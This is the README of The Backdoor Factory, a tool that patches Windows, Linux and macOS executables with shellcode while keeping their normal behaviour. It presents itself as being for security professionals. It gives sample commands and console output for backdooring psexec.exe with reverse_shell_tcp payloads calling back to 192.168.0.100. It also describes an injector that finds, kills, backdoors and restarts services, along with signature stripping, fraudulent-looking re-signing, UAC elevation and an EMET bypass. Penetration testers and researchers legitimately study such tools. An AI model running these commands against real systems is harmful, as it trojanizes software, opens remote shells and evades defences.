Discover secretsquirrel/the-backdoor-factory Open Source project

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The Backdoor Factory (BDF)

For security professionals and researchers only.

The goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.

Black Hat USA 2015:

Video: https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

Video: https://archive.org/details/joshpitts_shmoocon2015

Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

Video: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

Video: http://www.youtube.com/watch?v=jXLb2RNX5xs

Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U

Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Contact the developer on:

IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

Under a BSD 3 Clause License

See the wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki

Installing

DOCKER

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

###OLD SCHOOL

####Dependences #####To use OnionDuke you MUST be on an intel machine because aPLib has no support for the ARM chipset yet.

Capstone engine can be installed from PyPi with:

sudo pip install capstone

Pefile, most recent:

https://code.google.com/p/pefile/

osslsigncode (included in repo):

http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Kali Install:

  apt-get update
  apt-get install backdoor-factory

Other *NIX/MAC INSTALL:

./install.sh

This will install Capstone with 3.01 pip to install pefile.

UPDATE:

./update.sh

Supporting:

Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
and Mach-O x86/x64 and those formats in FAT files

Packed Files: PE UPX x86/x64

Experimental: OpenBSD x32

Some executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises. I'm on the verge of bypassing NSIS, so bypassing these checks will be included in the future.

Many thanks to Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Without him, I would still be trying to do stupid things 
with the elf format.
Also thanks to Silvio Cesare with his 1998 paper 
(http://vxheaven.org/lib/vsc01.html) which these ELF patching
techniques are based on.

Recently tested on many binaries.

./backdoor.py -h Usage: backdoor.py [options]

##Features:

###PE Files

Can find all codecaves in an EXE/DLL.
By default, clears the pointer to the PE certificate table, thereby unsigning a binary.
Can inject shellcode into code caves or into a new section.
Can find if a PE binary needs to run with elevated privileges.
When selecting code caves, you can use the following commands:
  -Jump (j), for code cave jumping
  -Single (s), for patching all your shellcode into one cave
  -Append (a), for creating a code cave
  -Ignore (i or q), nevermind, ignore this binary
Can ignore DLLs
Import Table Patching
AutoPatching (-m automtic)
Onionduke (-m onionduke)

###ELF Files

Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.

###Mach-O Files Pre-Text Section patching and signature removal

###Overall

The user can :
  -Provide custom shellcode.
  -Patch a directory of executables/dlls.
  -Select x32 or x64 binaries to patch only.
  -Include BDF is other python projects see pebin.py and elfbin.py

Sample Usage:

###Patch an exe/dll using an existing code cave:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Patch an exe/dll by adding a code section:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

###Patch a directory of exes: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...

###User supplied shellcode: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.

###PEcodeSigning

BDF can sign PE files if you have a codesigning cert. It uses osslsigncode. Put your signing cert and private key in the certs/ directory. Prep your certs using openssl commands from this blog post: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Put your private key password in a file (gasp) as so (exactly as so):

echo -n yourpassword > certs/passFile.txt

Name your certs EXACTLY as follows:

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

Your certs/ directory should look excatly as so:

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

Enable PE Code Signing with the -C flag as so:

 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

On successful run you should see this line in BDF output:

[*] Code Signing Succeeded

###Hunt and backdoor: Injector | Windows Only The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service.
Edit the python dictionary "list_of_targets" in the 'injector' module for targets of your choosing.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow

###Changelog

####01/11/2016

Fix entry point truncation bug that led to improper recovery in rare instances

####07/04/2016

Support for dynamic paths in BDFProxy for preprocessor

####06/19/2016

Added the preprocessor and other optimizations
The preprocessor allows the user to modify the binary prior to payload injection
Invoke with the -p flag
See samples in ./preprocessor/

####12/20/2015

Added directory paths to BDF to find certs directory.

####12/18/2015

Added PE codesiging support. You must provide your own codesigning cert. See here: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

Bug fix in rsrc section for onionduke patching and remove of random win32 version value in PE Header

####11/13/2015

Added proper truncating of a PE file after signature pointer is cleared in PE header - e.g. proper unsigning. Resulting in better support for IAT patching

####10/19/2015

Fixed bug in IAT directory cave assignment that caused BDF crash
Made the feature optional with -A flag

####10/13/2015

Changed the Import Table Directory modifications from adding a new section to using an existing code cave

####08/12/2015

Added 'replace' PATCH_METHOD - a straight PE copy pasta of the supplied binary
More for usage with BDFProxy

Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

Stability fix for auto cave selection for rare caves of overlap

####08/05/2015

BH USA UPDATES, w00t!
OnionDuke, use -m onionduke * Supports user supplied exe's and dll's * Usage: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
XP MODE = Prior IAT based payloads did not support XP, Wine, or Windows 98. If you need to support XP use the -X flag. I'm not supporting anything less than XP (and not XP x64).
Invoke UAC prompt to runas as admin. experimental - patches the PE manifest if requestedExecutionLevel exists.
Stability updates: * Fixed a bug with incorrect RVA calculation jmp'ing across 2+ code caves * Better checks to determine if a new section for the IAT will write into appended data and therefore fail
Speed Improvements: * Faster code cave finding while using automatic mode (-m automatic) * Faster rsrc parsing to find manifest file

####5/01/2015

Bug fix to the reverse_tcp_stager_threaded payload when using single caves payload

####4/28/2015

Adding check for Bound Imports (PE files with bound imports will not be patched)

####4/14/2015

So many updates:

Automatic patching for PE files (use -m automatic with a *_threaded payload)
New IAT payloads for x86/x64 PE files
Just watch: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 I <3 you guys

Added Import Address Table patching for PEs to support iat_reverse_tcp payloads that use the import table for winAPI calls. If the binary you are patching does not have LoadLibraryA and GetProcAddress, for example, BDF will patch it in to a new Import Table in a new section. Supports x64/x86 PEs.
Added iat_reverse_tcp for x64 PEs.
Bug fixes and improvements

####1/1/2015

Happy New Year!

Two new OS X payloads! The delay: delay_reverse_shell_tcp

-B 30 --> delay the payload for 30 seconds, main code runs right away.

Setting of firm capstone commit for building into BDF, capstone 'Next' repo breaks BDF.

Fixes to support cython capstone implementation null byte truncation issue

####12/27/2014

Added payloadtests.py

This script will output patched files in backdoored that will allow for the user to test the payloads as they wish. Each payload type increments the port used by one.

Usage: payloadtest.py binary HOST PORT

####12/17/2014

OS X Beaconing Payloads for x86 and x64: beaconing_reverse_shell_tcp

-B 15 --> set beacon time for 15 secs

Bug fix to support OS X for BDFProxy

####10/11/2014

PE UPX Patching Added

####9/26/2014

Mach-O x86/x64 added

x86 IAT payload optimization

####7/31/2014

Added support for ARM x32 LE ELF patching

####7/22/2014

Added FreeBSD x32 ELF patching support

Change to BSD 3 Clause License

####7/13/2014

Incorporated Capstone: http://www.capstone-engine.org/

During the process of adding Capstone, I removed about 500 lines of code. That's pretty awesome.

Renamed loadliba_reverse_tcp to iat_reverse_tcp.

Small optimizations for speed.

####5/30/2014

Added a new win86 shellcode: loadliba_reverse_tcp

Based on the following research by Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Thanks @bannedit0 for mentioning this.
This shellcode uses LoadLibraryA and GetProcAddress APIs to find all necessary APIs for a reverse TCP connection. No more of Stephen Fewers API hash lookup (which is still brilliant).
It's not stealthy. It's position dependent. But the results are great (code cave jumping): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
Bypasses EMET 4.1. The caller protection doesn't catch it.
As such, I'll be furthering this idea with an algo that patches the binary with custom shellcode based on the APIs that are in the IAT. Including porting the current win86 shellcodes to this idea.

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